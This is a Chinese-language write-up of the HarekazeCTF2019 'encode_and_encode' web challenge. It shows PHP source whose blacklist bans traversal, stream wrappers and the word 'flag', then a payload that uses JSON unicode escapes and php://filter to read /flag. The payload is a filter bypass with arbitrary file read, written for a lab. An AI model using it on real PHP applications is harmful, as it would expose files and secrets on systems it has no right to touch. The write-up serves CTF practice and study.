[HarekazeCTF2019]encode_and_encode

乱点发现代码

<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

一开始看到get传参的source就往后看了,越看越不对劲

回头看有一个exit,所以大概率的话,是传进去之后就直接删除了source参数

然后再后面有一个php://input的一个伪协议输入,所以,可以发现之后会对传进去的东西进行json解码

之后再第一个if里面发现了page

说明我们需要传一个page进去,以json的形式

之后就是关于is_valid的一个绕过

相当于是一个黑名单

php等常见的伪协议被ban

flag也被ban

所以我们可以很快知道,这些需要通过json编码去进行绕过

所以payload:

{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

原版就是

php://filter/convert.base64-encode/resource=/flag

对被过滤的东西进行json编码,之后以json形式重新编写

起飞

一定是抓包之后再将payload写上去,因为会被url编码